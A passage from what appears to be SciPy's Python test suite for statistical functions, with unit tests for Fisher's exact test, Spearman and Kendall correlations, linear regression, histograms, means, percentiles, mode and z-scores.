15], [20, 20]])[1] assert_approx_equal(res, 0.0958044, significant=6) res = fisher_exact([[5, 16], [20, 25]])[1] assert_approx_equal(res, 0.1725862, significant=6) res = fisher_exact([[10, 5], [10, 1]])[1] assert_approx_equal(res, 0.1973244, significant=6) res = fisher_exact([[5, 0], [1, 4]])[1] assert_approx_equal(res, 0.04761904, significant=6) res = fisher_exact([[0, 1], [3, 2]])[1] assert_approx_equal(res, 1.0) res = fisher_exact([[0, 2], [6, 4]])[1] assert_approx_equal(res, 0.4545454545) res = fisher_exact([[2, 7], [8, 2]]) assert_approx_equal(res[1], 0.0230141, significant=6) assert_approx_equal(res[0], 4.0 / 56) def test_precise(self): # results from R # # R defines oddsratio differently (see Notes section of fisher_exact # docstring), so those will not match. We leave them in anyway, in # case they will be useful later on. We test only the p-value. tablist = [ ([[100, 2], [1000, 5]], (2.505583993422285e-001, 1.300759363430016e-001)), ([[2, 7], [8, 2]], (8.586235135736206e-002, 2.301413756522114e-002)), ([[5, 1], [10, 10]], (4.725646047336584e+000, 1.973244147157190e-001)), ([[5, 15], [20, 20]], (3.394396617440852e-001, 9.580440012477637e-002)), ([[5, 16], [20, 25]], (3.960558326183334e-001, 1.725864953812994e-001)), ([[10, 5], [10, 1]], (2.116112781158483e-001, 1.973244147157190e-001)), ([[10, 5], [10, 0]], (0.000000000000000e+000, 6.126482213438734e-002)), ([[5, 0], [1, 4]], (np.inf, 4.761904761904762e-002)), ([[0, 5], [1, 4]], (0.000000000000000e+000, 1.000000000000000e+000)), ([[5, 1], [0, 4]], (np.inf, 4.761904761904758e-002)), ([[0, 1], [3, 2]], (0.000000000000000e+000, 1.000000000000000e+000)) ] for table, res_r in tablist: res = stats.fisher_exact(np.asarray(table)) np.testing.assert_almost_equal(res[1], res_r[1], decimal=11, verbose=True) @dec.slow def test_large_numbers(self): # Test with some large numbers. Regression test for #1401 pvals = [5.56e-11, 2.666e-11, 1.363e-11] # from R for pval, num in zip(pvals, [75, 76, 77]): res = stats.fisher_exact([[17704, 496], [1065, num]])[1] assert_approx_equal(res, pval, significant=4) res = stats.fisher_exact([[18000, 80000], [20000, 90000]])[1] assert_approx_equal(res, 0.2751, significant=4) def test_raises(self): # test we raise an error for wrong shape of input. assert_raises(ValueError, stats.fisher_exact, np.arange(6).reshape(2, 3)) def test_row_or_col_zero(self): tables = ([[0, 0], [5, 10]], [[5, 10], [0, 0]], [[0, 5], [0, 10]], [[5, 0], [10, 0]]) for table in tables: oddsratio, pval = stats.fisher_exact(table) assert_equal(pval, 1.0) assert_equal(oddsratio, np.nan) def test_less_greater(self): tables = ( # Some tables to compare with R: [[2, 7], [8, 2]], [[200, 7], [8, 300]], [[28, 21], [6, 1957]], [[190, 800], [200, 900]], # Some tables with simple exact values # (includes regression test for ticket #1568): [[0, 2], [3, 0]], [[1, 1], [2, 1]], [[2, 0], [1, 2]], [[0, 1], [2, 3]], [[1, 0], [1, 4]], ) pvals = ( # from R: [0.018521725952066501, 0.9990149169715733], [1.0, 2.0056578803889148e-122], [1.0, 5.7284374608319831e-44], [0.7416227, 0.2959826], # Exact: [0.1, 1.0], [0.7, 0.9], [1.0, 0.3], [2./3, 1.0], [1.0, 1./3], ) for table, pval in zip(tables, pvals): res = [] res.append(stats.fisher_exact(table, alternative="less")[1]) res.append(stats.fisher_exact(table, alternative="greater")[1]) assert_allclose(res, pval, atol=0, rtol=1e-7) def test_gh3014(self): # check if issue #3014 has been fixed. # before, this would have risen a ValueError odds, pvalue = stats.fisher_exact([[1, 2], [9, 84419233]]) class TestCorrSpearmanr(TestCase): """ W.II.D. Compute a correlation matrix on all the variables. All the correlations, except for ZERO and MISS, shoud be exactly 1. ZERO and MISS should have undefined or missing correlations with the other variables. The same should go for SPEARMAN corelations, if your program has them. """ def test_sXX(self): y = stats.spearmanr(X,X) r = y[0] assert_approx_equal(r,1.0) def test_sXBIG(self): y = stats.spearmanr(X,BIG) r = y[0] assert_approx_equal(r,1.0) def test_sXLITTLE(self): y = stats.spearmanr(X,LITTLE) r = y[0] assert_approx_equal(r,1.0) def test_sXHUGE(self): y = stats.spearmanr(X,HUGE) r = y[0] assert_approx_equal(r,1.0) def test_sXTINY(self): y = stats.spearmanr(X,TINY) r = y[0] assert_approx_equal(r,1.0) def test_sXROUND(self): y = stats.spearmanr(X,ROUND) r = y[0] assert_approx_equal(r,1.0) def test_sBIGBIG(self): y = stats.spearmanr(BIG,BIG) r = y[0] assert_approx_equal(r,1.0) def test_sBIGLITTLE(self): y = stats.spearmanr(BIG,LITTLE) r = y[0] assert_approx_equal(r,1.0) def test_sBIGHUGE(self): y = stats.spearmanr(BIG,HUGE) r = y[0] assert_approx_equal(r,1.0) def test_sBIGTINY(self): y = stats.spearmanr(BIG,TINY) r = y[0] assert_approx_equal(r,1.0) def test_sBIGROUND(self): y = stats.spearmanr(BIG,ROUND) r = y[0] assert_approx_equal(r,1.0) def test_sLITTLELITTLE(self): y = stats.spearmanr(LITTLE,LITTLE) r = y[0] assert_approx_equal(r,1.0) def test_sLITTLEHUGE(self): y = stats.spearmanr(LITTLE,HUGE) r = y[0] assert_approx_equal(r,1.0) def test_sLITTLETINY(self): y = stats.spearmanr(LITTLE,TINY) r = y[0] assert_approx_equal(r,1.0) def test_sLITTLEROUND(self): y = stats.spearmanr(LITTLE,ROUND) r = y[0] assert_approx_equal(r,1.0) def test_sHUGEHUGE(self): y = stats.spearmanr(HUGE,HUGE) r = y[0] assert_approx_equal(r,1.0) def test_sHUGETINY(self): y = stats.spearmanr(HUGE,TINY) r = y[0] assert_approx_equal(r,1.0) def test_sHUGEROUND(self): y = stats.spearmanr(HUGE,ROUND) r = y[0] assert_approx_equal(r,1.0) def test_sTINYTINY(self): y = stats.spearmanr(TINY,TINY) r = y[0] assert_approx_equal(r,1.0) def test_sTINYROUND(self): y = stats.spearmanr(TINY,ROUND) r = y[0] assert_approx_equal(r,1.0) def test_sROUNDROUND(self): y = stats.spearmanr(ROUND,ROUND) r = y[0] assert_approx_equal(r,1.0) class TestCorrSpearmanrTies(TestCase): """Some tests of tie-handling by the spearmanr function.""" def test_tie1(self): # Data x = [1.0, 2.0, 3.0, 4.0] y = [1.0, 2.0, 2.0, 3.0] # Ranks of the data, with tie-handling. xr = [1.0, 2.0, 3.0, 4.0] yr = [1.0, 2.5, 2.5, 4.0] # Result of spearmanr should be the same as applying # pearsonr to the ranks. sr = stats.spearmanr(x, y) pr = stats.pearsonr(xr, yr) assert_almost_equal(sr, pr) # W.II.E. Tabulate X against X, using BIG as a case weight. The values # should appear on the diagonal and the total should be 899999955. # If the table cannot hold these values, forget about working with # census data. You can also tabulate HUGE against TINY. There is no # reason a tabulation program should not be able to distinguish # different values regardless of their magnitude. # I need to figure out how to do this one. def test_kendalltau(): # with some ties x1 = [12, 2, 1, 12, 2] x2 = [1, 4, 7, 1, 0] expected = (-0.47140452079103173, 0.24821309157521476) res = stats.kendalltau(x1, x2) assert_approx_equal(res[0], expected[0]) assert_approx_equal(res[1], expected[1]) # with only ties in one or both inputs assert_equal(stats.kendalltau([2,2,2], [2,2,2]), (np.nan, np.nan)) assert_equal(stats.kendalltau([2,0,2], [2,2,2]), (np.nan, np.nan)) assert_equal(stats.kendalltau([2,2,2], [2,0,2]), (np.nan, np.nan)) # empty arrays provided as input assert_equal(stats.kendalltau([], []), (np.nan, np.nan)) # check two different sort methods assert_approx_equal(stats.kendalltau(x1, x2, initial_lexsort=False)[1], stats.kendalltau(x1, x2, initial_lexsort=True)[1]) # and with larger arrays np.random.seed(7546) x = np.array([np.random.normal(loc=1, scale=1, size=500), np.random.normal(loc=1, scale=1, size=500)]) corr = [[1.0, 0.3], [0.3, 1.0]] x = np.dot(np.linalg.cholesky(corr), x) expected = (0.19291382765531062, 1.1337108207276285e-10) res = stats.kendalltau(x[0], x[1]) assert_approx_equal(res[0], expected[0]) assert_approx_equal(res[1], expected[1]) # and do we get a tau of 1 for identical inputs? assert_approx_equal(stats.kendalltau([1,1,2], [1,1,2])[0], 1.0) class TestRegression(TestCase): def test_linregressBIGX(self): # W.II.F. Regress BIG on X. # The constant should be 99999990 and the regression coefficient should be 1. y = stats.linregress(X,BIG) intercept = y[1] r = y[2] assert_almost_equal(intercept,99999990) assert_almost_equal(r,1.0) def test_regressXX(self): # W.IV.B. Regress X on X. # The constant should be exactly 0 and the regression coefficient should be 1. # This is a perfectly valid regression. The program should not complain. y = stats.linregress(X,X) intercept = y[1] r = y[2] assert_almost_equal(intercept,0.0) assert_almost_equal(r,1.0) # W.IV.C. Regress X on BIG and LITTLE (two predictors). The program # should tell you that this model is "singular" because BIG and # LITTLE are linear combinations of each other. Cryptic error # messages are unacceptable here. Singularity is the most # fundamental regression error. # Need to figure out how to handle multiple linear regression. Not obvious def test_regressZEROX(self): # W.IV.D. Regress ZERO on X. # The program should inform you that ZERO has no variance or it should # go ahead and compute the regression and report a correlation and # total sum of squares of exactly 0. y = stats.linregress(X,ZERO) intercept = y[1] r = y[2] assert_almost_equal(intercept,0.0) assert_almost_equal(r,0.0) def test_regress_simple(self): # Regress a line with sinusoidal noise. x = np.linspace(0, 100, 100) y = 0.2 * np.linspace(0, 100, 100) + 10 y += np.sin(np.linspace(0, 20, 100)) res = stats.linregress(x, y) assert_almost_equal(res[4], 2.3957814497838803e-3) def test_regress_simple_onearg_rows(self): # Regress a line w sinusoidal noise, with a single input of shape (2, N). x = np.linspace(0, 100, 100) y = 0.2 * np.linspace(0, 100, 100) + 10 y += np.sin(np.linspace(0, 20, 100)) rows = np.vstack((x, y)) res = stats.linregress(rows) assert_almost_equal(res[4], 2.3957814497838803e-3) def test_regress_simple_onearg_cols(self): x = np.linspace(0, 100, 100) y = 0.2 * np.linspace(0, 100, 100) + 10 y += np.sin(np.linspace(0, 20, 100)) cols = np.hstack((np.expand_dims(x, 1), np.expand_dims(y, 1))) res = stats.linregress(cols) assert_almost_equal(res[4], 2.3957814497838803e-3) def test_regress_shape_error(self): # Check that a single input argument to linregress with wrong shape # results in a ValueError. assert_raises(ValueError, stats.linregress, np.ones((3, 3))) def test_linregress(self): # compared with multivariate ols with pinv x = np.arange(11) y = np.arange(5,16) y[[(1),(-2)]] -= 1 y[[(0),(-1)]] += 1 res = (1.0, 5.0, 0.98229948625750, 7.45259691e-008, 0.063564172616372733) assert_array_almost_equal(stats.linregress(x,y),res,decimal=14) def test_regress_simple_negative_cor(self): # If the slope of the regression is negative the factor R tend to -1 not 1. # Sometimes rounding errors makes it < -1 leading to stderr being NaN a, n = 1e-71, 100000 x = np.linspace(a, 2 * a, n) y = np.linspace(2 * a, a, n) stats.linregress(x, y) res = stats.linregress(x, y) assert_(res[2] >= -1) # propagated numerical errors were not corrected assert_almost_equal(res[2], -1) # perfect negative correlation case assert_(not np.isnan(res[4])) # stderr should stay finite def test_theilslopes(): # Basic slope test. slope, intercept, lower, upper = stats.theilslopes([0,1,1]) assert_almost_equal(slope, 0.5) assert_almost_equal(intercept, 0.5) # Test of confidence intervals. x = [1, 2, 3, 4, 10, 12, 18] y = [9, 15, 19, 20, 45, 55, 78] slope, intercept, lower, upper = stats.theilslopes(y, x, 0.07) assert_almost_equal(slope, 4) assert_almost_equal(upper, 4.38, decimal=2) assert_almost_equal(lower, 3.71, decimal=2) class TestHistogram(TestCase): # Tests that histogram works as it should, and keeps old behaviour # # what is untested: # - multidimensional arrays (since 'a' is ravel'd as the first line in the method) # - very large arrays # - Nans, Infs, empty and otherwise bad inputs # sample arrays to test the histogram with low_values = np.array([0.2, 0.3, 0.4, 0.5, 0.5, 0.6, 0.7, 0.8, 0.9, 1.1, 1.2], dtype=float) # 11 values high_range = np.array([2, 3, 4, 2, 21, 32, 78, 95, 65, 66, 66, 66, 66, 4], dtype=float) # 14 values low_range = np.array([2, 3, 3, 2, 3, 2.4, 2.1, 3.1, 2.9, 2.6, 2.7, 2.8, 2.2, 2.001], dtype=float) # 14 values few_values = np.array([2.0, 3.0, -1.0, 0.0], dtype=float) # 4 values def test_simple(self): # Tests that each of the tests works as expected with default params # # basic tests, with expected results (no weighting) # results taken from the previous (slower) version of histogram basic_tests = ((self.low_values, (np.array([1., 1., 1., 2., 2., 1., 1., 0., 1., 1.]), 0.14444444444444446, 0.11111111111111112, 0)), (self.high_range, (np.array([5., 0., 1., 1., 0., 0., 5., 1., 0., 1.]), -3.1666666666666661, 10.333333333333332, 0)), (self.low_range, (np.array([3., 1., 1., 1., 0., 1., 1., 2., 3., 1.]), 1.9388888888888889, 0.12222222222222223, 0)), (self.few_values, (np.array([1., 0., 1., 0., 0., 0., 0., 1., 0., 1.]), -1.2222222222222223, 0.44444444444444448, 0)), ) for inputs, expected_results in basic_tests: given_results = stats.histogram(inputs) assert_array_almost_equal(expected_results[0], given_results[0], decimal=2) for i in range(1, 4): assert_almost_equal(expected_results[i], given_results[i], decimal=2) def test_weighting(self): # Tests that weights give expected histograms # basic tests, with expected results, given a set of weights # weights used (first n are used for each test, where n is len of array) (14 values) weights = np.array([1., 3., 4.5, 0.1, -1.0, 0.0, 0.3, 7.0, 103.2, 2, 40, 0, 0, 1]) # results taken from the numpy version of histogram basic_tests = ((self.low_values, (np.array([4.0, 0.0, 4.5, -0.9, 0.0, 0.3,110.2, 0.0, 0.0, 42.0]), 0.2, 0.1, 0)), (self.high_range, (np.array([9.6, 0., -1., 0., 0., 0.,145.2, 0., 0.3, 7.]), 2.0, 9.3, 0)), (self.low_range, (np.array([2.4, 0., 0., 0., 0., 2., 40., 0., 103.2, 13.5]), 2.0, 0.11, 0)), (self.few_values, (np.array([4.5, 0., 0.1, 0., 0., 0., 0., 1., 0., 3.]), -1., 0.4, 0)), ) for inputs, expected_results in basic_tests: # use the first lot of weights for test # default limits given to reproduce output of numpy's test better given_results = stats.histogram(inputs, defaultlimits=(inputs.min(), inputs.max()), weights=weights[:len(inputs)]) assert_array_almost_equal(expected_results[0], given_results[0], decimal=2) for i in range(1, 4): assert_almost_equal(expected_results[i], given_results[i], decimal=2) def test_reduced_bins(self): # Tests that reducing the number of bins produces expected results # basic tests, with expected results (no weighting), # except number of bins is halved to 5 # results taken from the previous (slower) version of histogram basic_tests = ((self.low_values, (np.array([2., 3., 3., 1., 2.]), 0.075000000000000011, 0.25, 0)), (self.high_range, (np.array([5., 2., 0., 6., 1.]), -9.625, 23.25, 0)), (self.low_range, (np.array([4., 2., 1., 3., 4.]), 1.8625, 0.27500000000000002, 0)), (self.few_values, (np.array([1., 1., 0., 1., 1.]), -1.5, 1.0, 0)), ) for inputs, expected_results in basic_tests: given_results = stats.histogram(inputs, numbins=5) assert_array_almost_equal(expected_results[0], given_results[0], decimal=2) for i in range(1, 4): assert_almost_equal(expected_results[i], given_results[i], decimal=2) def test_increased_bins(self): # Tests that increasing the number of bins produces expected results # basic tests, with expected results (no weighting), # except number of bins is double to 20 # results taken from the previous (slower) version of histogram basic_tests = ((self.low_values, (np.array([1., 0., 1., 0., 1., 0., 2., 0., 1., 0., 1., 1., 0., 1., 0., 0., 0., 1., 0., 1.]), 0.1736842105263158, 0.052631578947368418, 0)), (self.high_range, (np.array([5., 0., 0., 0., 1., 0., 1., 0., 0., 0., 0., 0., 0., 5., 0., 0., 1., 0., 0., 1.]), -0.44736842105263142, 4.8947368421052628, 0)), (self.low_range, (np.array([3., 0., 1., 1., 0., 0., 0., 1., 0., 0., 1., 0., 1., 0., 1., 0., 1., 3., 0., 1.]), 1.9710526315789474, 0.057894736842105263, 0)), (self.few_values, (np.array([1., 0., 0., 0., 0., 1., 0., 0., 0., 0., 0., 0., 0., 0., 1., 0., 0., 0., 0., 1.]), -1.1052631578947367, 0.21052631578947367, 0)), ) for inputs, expected_results in basic_tests: given_results = stats.histogram(inputs, numbins=20) assert_array_almost_equal(expected_results[0], given_results[0], decimal=2) for i in range(1, 4): assert_almost_equal(expected_results[i], given_results[i], decimal=2) def test_cumfreq(): x = [1, 4, 2, 1, 3, 1] cumfreqs, lowlim, binsize, extrapoints = stats.cumfreq(x, numbins=4) assert_array_almost_equal(cumfreqs, np.array([3., 4., 5., 6.])) cumfreqs, lowlim, binsize, extrapoints = stats.cumfreq(x, numbins=4, defaultreallimits=(1.5, 5)) assert_(extrapoints == 3) def test_relfreq(): a = np.array([1, 4, 2, 1, 3, 1]) relfreqs, lowlim, binsize, extrapoints = stats.relfreq(a, numbins=4) assert_array_almost_equal(relfreqs, array([0.5, 0.16666667, 0.16666667, 0.16666667])) # check array_like input is accepted relfreqs2, lowlim, binsize, extrapoints = stats.relfreq([1, 4, 2, 1, 3, 1], numbins=4) assert_array_almost_equal(relfreqs, relfreqs2) class TestGMean(TestCase): def test_1D_list(self): a = (1,2,3,4) actual = stats.gmean(a) desired = power(1*2*3*4,1./4.) assert_almost_equal(actual, desired,decimal=14) desired1 = stats.gmean(a,axis=-1) assert_almost_equal(actual, desired1, decimal=14) def test_1D_array(self): a = array((1,2,3,4), float32) actual = stats.gmean(a) desired = power(1*2*3*4,1./4.) assert_almost_equal(actual, desired, decimal=7) desired1 = stats.gmean(a,axis=-1) assert_almost_equal(actual, desired1, decimal=7) def test_2D_array_default(self): a = array(((1,2,3,4), (1,2,3,4), (1,2,3,4))) actual = stats.gmean(a) desired = array((1,2,3,4)) assert_array_almost_equal(actual, desired, decimal=14) desired1 = stats.gmean(a,axis=0) assert_array_almost_equal(actual, desired1, decimal=14) def test_2D_array_dim1(self): a = array(((1,2,3,4), (1,2,3,4), (1,2,3,4))) actual = stats.gmean(a, axis=1) v = power(1*2*3*4,1./4.) desired = array((v,v,v)) assert_array_almost_equal(actual, desired, decimal=14) def test_large_values(self): a = array([1e100, 1e200, 1e300]) actual = stats.gmean(a) assert_approx_equal(actual, 1e200, significant=14) class TestHMean(TestCase): def test_1D_list(self): a = (1,2,3,4) actual = stats.hmean(a) desired = 4. / (1./1 + 1./2 + 1./3 + 1./4) assert_almost_equal(actual, desired, decimal=14) desired1 = stats.hmean(array(a),axis=-1) assert_almost_equal(actual, desired1, decimal=14) def test_1D_array(self): a = array((1,2,3,4), float64) actual = stats.hmean(a) desired = 4. / (1./1 + 1./2 + 1./3 + 1./4) assert_almost_equal(actual, desired, decimal=14) desired1 = stats.hmean(a,axis=-1) assert_almost_equal(actual, desired1, decimal=14) def test_2D_array_default(self): a = array(((1,2,3,4), (1,2,3,4), (1,2,3,4))) actual = stats.hmean(a) desired = array((1.,2.,3.,4.)) assert_array_almost_equal(actual, desired, decimal=14) actual1 = stats.hmean(a,axis=0) assert_array_almost_equal(actual1, desired, decimal=14) def test_2D_array_dim1(self): a = array(((1,2,3,4), (1,2,3,4), (1,2,3,4))) v = 4. / (1./1 + 1./2 + 1./3 + 1./4) desired1 = array((v,v,v)) actual1 = stats.hmean(a, axis=1) assert_array_almost_equal(actual1, desired1, decimal=14) class TestScoreatpercentile(TestCase): def setUp(self): self.a1 = [3, 4, 5, 10, -3, -5, 6] self.a2 = [3, -6, -2, 8, 7, 4, 2, 1] self.a3 = [3., 4, 5, 10, -3, -5, -6, 7.0] def test_basic(self): x = arange(8) * 0.5 assert_equal(stats.scoreatpercentile(x, 0), 0.) assert_equal(stats.scoreatpercentile(x, 100), 3.5) assert_equal(stats.scoreatpercentile(x, 50), 1.75) def test_fraction(self): scoreatperc = stats.scoreatpercentile # Test defaults assert_equal(scoreatperc(list(range(10)), 50), 4.5) assert_equal(scoreatperc(list(range(10)), 50, (2,7)), 4.5) assert_equal(scoreatperc(list(range(100)), 50, limit=(1, 8)), 4.5) assert_equal(scoreatperc(np.array([1, 10,100]), 50, (10,100)), 55) assert_equal(scoreatperc(np.array([1, 10,100]), 50, (1,10)), 5.5) # explicitly specify interpolation_method 'fraction' (the default) assert_equal(scoreatperc(list(range(10)), 50, interpolation_method='fraction'), 4.5) assert_equal(scoreatperc(list(range(10)), 50, limit=(2, 7), interpolation_method='fraction'), 4.5) assert_equal(scoreatperc(list(range(100)), 50, limit=(1, 8), interpolation_method='fraction'), 4.5) assert_equal(scoreatperc(np.array([1, 10,100]), 50, (10, 100), interpolation_method='fraction'), 55) assert_equal(scoreatperc(np.array([1, 10,100]), 50, (1,10), interpolation_method='fraction'), 5.5) def test_lower_higher(self): scoreatperc = stats.scoreatpercentile # interpolation_method 'lower'/'higher' assert_equal(scoreatperc(list(range(10)), 50, interpolation_method='lower'), 4) assert_equal(scoreatperc(list(range(10)), 50, interpolation_method='higher'), 5) assert_equal(scoreatperc(list(range(10)), 50, (2,7), interpolation_method='lower'), 4) assert_equal(scoreatperc(list(range(10)), 50, limit=(2,7), interpolation_method='higher'), 5) assert_equal(scoreatperc(list(range(100)), 50, (1,8), interpolation_method='lower'), 4) assert_equal(scoreatperc(list(range(100)), 50, (1,8), interpolation_method='higher'), 5) assert_equal(scoreatperc(np.array([1, 10, 100]), 50, (10, 100), interpolation_method='lower'), 10) assert_equal(scoreatperc(np.array([1, 10, 100]), 50, limit=(10, 100), interpolation_method='higher'), 100) assert_equal(scoreatperc(np.array([1, 10, 100]), 50, (1, 10), interpolation_method='lower'), 1) assert_equal(scoreatperc(np.array([1, 10, 100]), 50, limit=(1, 10), interpolation_method='higher'), 10) def test_sequence_per(self): x = arange(8) * 0.5 expected = np.array([0, 3.5, 1.75]) res = stats.scoreatpercentile(x, [0, 100, 50]) assert_allclose(res, expected) assert_(isinstance(res, np.ndarray)) # Test with ndarray. Regression test for gh-2861 assert_allclose(stats.scoreatpercentile(x, np.array([0, 100, 50])), expected) # Also test combination of 2-D array, axis not None and array-like per res2 = stats.scoreatpercentile(np.arange(12).reshape((3,4)), np.array([0, 1, 100, 100]), axis=1) expected2 = array([[0, 4, 8], [0.03, 4.03, 8.03], [3, 7, 11], [3, 7, 11]]) assert_allclose(res2, expected2) def test_axis(self): scoreatperc = stats.scoreatpercentile x = arange(12).reshape(3, 4) assert_equal(scoreatperc(x, (25, 50, 100)), [2.75, 5.5, 11.0]) r0 = [[2, 3, 4, 5], [4, 5, 6, 7], [8, 9, 10, 11]] assert_equal(scoreatperc(x, (25, 50, 100), axis=0), r0) r1 = [[0.75, 4.75, 8.75], [1.5, 5.5, 9.5], [3, 7, 11]] assert_equal(scoreatperc(x, (25, 50, 100), axis=1), r1) x = array([[1, 1, 1], [1, 1, 1], [4, 4, 3], [1, 1, 1], [1, 1, 1]]) score = stats.scoreatpercentile(x, 50) assert_equal(score.shape, ()) assert_equal(score, 1.0) score = stats.scoreatpercentile(x, 50, axis=0) assert_equal(score.shape, (3,)) assert_equal(score, [1, 1, 1]) def test_exception(self): assert_raises(ValueError, stats.scoreatpercentile, [1, 2], 56, interpolation_method='foobar') assert_raises(ValueError, stats.scoreatpercentile, [1], 101) assert_raises(ValueError, stats.scoreatpercentile, [1], -1) def test_empty(self): assert_equal(stats.scoreatpercentile([], 50), np.nan) assert_equal(stats.scoreatpercentile(np.array([[], []]), 50), np.nan) assert_equal(stats.scoreatpercentile([], [50, 99]), [np.nan, np.nan]) class TestItemfreq(object): a = [5, 7, 1, 2, 1, 5, 7] * 10 b = [1, 2, 5, 7] def test_numeric_types(self): # Check itemfreq works for all dtypes (adapted from np.unique tests) def _check_itemfreq(dt): a = np.array(self.a, dt) v = stats.itemfreq(a) assert_array_equal(v[:, 0], [1, 2, 5, 7]) assert_array_equal(v[:, 1], np.array([20, 10, 20, 20], dtype=dt)) dtypes = [np.int32, np.int64, np.float32, np.float64, np.complex64, np.complex128] for dt in dtypes: yield _check_itemfreq, dt def test_object_arrays(self): a, b = self.a, self.b dt = 'O' aa = np.empty(len(a), dt) aa[:] = a bb = np.empty(len(b), dt) bb[:] = b v = stats.itemfreq(aa) assert_array_equal(v[:, 0], bb) def test_structured_arrays(self): a, b = self.a, self.b dt = [('', 'i'), ('', 'i')] aa = np.array(list(zip(a, a)), dt) bb = np.array(list(zip(b, b)), dt) v = stats.itemfreq(aa) # Arrays don't compare equal because v[:,0] is object array assert_equal(tuple(v[2, 0]), tuple(bb[2])) class TestMode(TestCase): def test_empty(self): vals, counts = stats.mode([]) assert_equal(vals, np.array([])) assert_equal(counts, np.array([])) def test_basic(self): data1 = [3, 5, 1, 10, 23, 3, 2, 6, 8, 6, 10, 6] vals = stats.mode(data1) assert_equal(vals[0][0], 6) assert_equal(vals[1][0], 3) def test_axes(self): data1 = [10, 10, 30, 40] data2 = [10, 10, 10, 10] data3 = [20, 10, 20, 20] data4 = [30, 30, 30, 30] data5 = [40, 30, 30, 30] arr = np.array([data1, data2, data3, data4, data5]) vals = stats.mode(arr, axis=None) assert_equal(vals[0], np.array([30])) assert_equal(vals[1], np.array([8])) vals = stats.mode(arr, axis=0) assert_equal(vals[0], np.array([[10, 10, 30, 30]])) assert_equal(vals[1], np.array([[2, 3, 3, 2]])) vals = stats.mode(arr, axis=1) assert_equal(vals[0], np.array([[10], [10], [20], [30], [30]])) assert_equal(vals[1], np.array([[2], [4], [3], [4], [3]])) def test_strings(self): data1 = ['rain', 'showers', 'showers'] vals = stats.mode(data1) assert_equal(vals[0][0], 'showers') assert_equal(vals[1][0], 2) @dec.knownfailureif(sys.version_info > (3,), 'numpy github issue 641') def test_mixed_objects(self): objects = [10, True, np.nan, 'hello', 10] arr = np.empty((5,), dtype=object) arr[:] = objects vals = stats.mode(arr) assert_equal(vals[0][0], 10) assert_equal(vals[1][0], 2) def test_objects(self): """Python objects must be sortable (le + eq) and have ne defined for np.unique to work. hash is for set. """ class Point(object): def __init__(self, x): self.x = x def __eq__(self, other): return self.x == other.x def __ne__(self, other): return self.x != other.x def __lt__(self, other): return self.x < other.x def __hash__(self): return hash(self.x) points = [Point(x) for x in [1, 2, 3, 4, 3, 2, 2, 2]] arr = np.empty((8,), dtype=object) arr[:] = points assert len(set(points)) == 4 assert_equal(np.unique(arr).shape, (4,)) vals = stats.mode(arr) assert_equal(vals[0][0], Point(2)) assert_equal(vals[1][0], 4) class TestVariability(TestCase): testcase = [1,2,3,4] def test_signaltonoise(self): # This is not in R, so used: # mean(testcase, axis=0) / (sqrt(var(testcase) * 3/4)) # y = stats.signaltonoise(self.shoes[0]) # assert_approx_equal(y,4.5709967) y = stats.signaltonoise(self.testcase) assert_approx_equal(y,2.236067977) def test_sem(self): # This is not in R, so used: # sqrt(var(testcase)*3/4)/sqrt(3) # y = stats.sem(self.shoes[0]) # assert_approx_equal(y,0.775177399) y = stats.sem(self.testcase) assert_approx_equal(y, 0.6454972244) n = len(self.testcase) assert_allclose(stats.sem(self.testcase, ddof=0) * np.sqrt(n/(n-2)), stats.sem(self.testcase, ddof=2)) def test_zmap(self): # not in R, so tested by using: # (testcase[i] - mean(testcase, axis=0)) / sqrt(var(testcase) * 3/4) y = stats.zmap(self.testcase,self.testcase) desired = ([-1.3416407864999, -0.44721359549996, 0.44721359549996, 1.3416407864999]) assert_array_almost_equal(desired,y,decimal=12) def test_zmap_axis(self): # Test use of 'axis' keyword in zmap. x = np.array([[0.0, 0.0, 1.0, 1.0], [1.0, 1.0, 1.0, 2.0], [2.0, 0.0, 2.0, 0.0]]) t1 = 1.0/np.sqrt(2.0/3) t2 = np.sqrt(3.)/3 t3 = np.sqrt(2.) z0 = stats.zmap(x, x, axis=0) z1 = stats.zmap(x, x, axis=1) z0_expected = [[-t1, -t3/2, -t3/2, 0.0], [0.0, t3, -t3/2, t1], [t1, -t3/2, t3, -t1]] z1_expected = [[-1.0, -1.0, 1.0, 1.0], [-t2, -t2, -t2, np.sqrt(3.)], [1.0, -1.0, 1.0, -1.0]] assert_array_almost_equal(z0, z0_expected) assert_array_almost_equal(z1, z1_expected) def test_zmap_ddof(self): # Test use of 'ddof' keyword in zmap. x = np.array([[0.0, 0.0, 1.0, 1.0], [0.0, 1.0, 2.0, 3.0]]) z = stats.zmap(x, x, axis=1, ddof=1) z0_expected = np.array([-0.5, -0.5, 0.5, 0.5])/(1.0/np.sqrt(3)) z1_expected = np.array([-1.5, -0.5, 0.5, 1.5])/(np.sqrt(5./3)) assert_array_almost_equal(z[0], z0_expected) assert_array_almost_equal(z[1], z1_expected) def test_zscore(self): # not in R, so tested by using: # (testcase[i] - mean(testcase, axis=0)) / sqrt(var(testcase) * 3/4) y = stats.zscore(self.testcase) desired = ([-1.3416407864999, -0.44721359549996, 0.44721359549996, 1.3416407864999]) assert_array_almost_equal(desired,y,decimal=12) def test_zscore_axis(self): # Test use of 'axis' keyword in zscore. x = np.array([[0.0, 0.0, 1.0, 1.0], [1.0, 1.0, 1.0, 2.0], [2.0, 0.0, 2.0, 0.0]]) t1 = 1.0/np.sqrt(2.0/3) t2 = np.sqrt(3.)/3 t3 = np.sqrt(2.) z0 = stats.zscore(x, axis=0) z1 = stats.zscore(x, axis=1) z0_expected = [[-t1, -t3/2, -t3/2, 0.0], [0.0, t3, -t3/2, t1], [t1, -t3/2, t3, -t1]] z1_expected = [[-1.0, -1.0, 1.0, 1.0], [-t2, -t2, -t2, np.sqrt(3.)], [1.0, -1.0, 1.0, -1.0]] assert_array_almost_equal(z0, z0_expected) assert_array_almost_equal(z1, z1_expected) def test_zscore_ddof(self): # Test use of 'ddof' keyword in zscore. x = np.array([[0.0, 0.0, 1.0, 1.0], [0.0, 1.0, 2.0, 3.0]]) z = stats.zscore(x, axis=1, ddof=1) z0_expected = np.array([-0.5, -0.5, 0.5, 0.5])/(1.0/np.sqrt(3)) z1_expected = np.array([-1.5, -0.5, 0.5, 1.5])/(np.sqrt(5./3)) assert_array_almost_equal(z[0], z0_expected) assert_array_almost_equal(z[1], z1_expected) class TestMoments(TestCase): """ Comparison numbers are found using R v.1.5.1 note that length(testcase) = 4 testmathworks comes from documentation for the Statistics Toolbox for Matlab and can be found at both http://www.mathworks.com/access/helpdesk/help/toolbox/stats/kurtosis.shtml 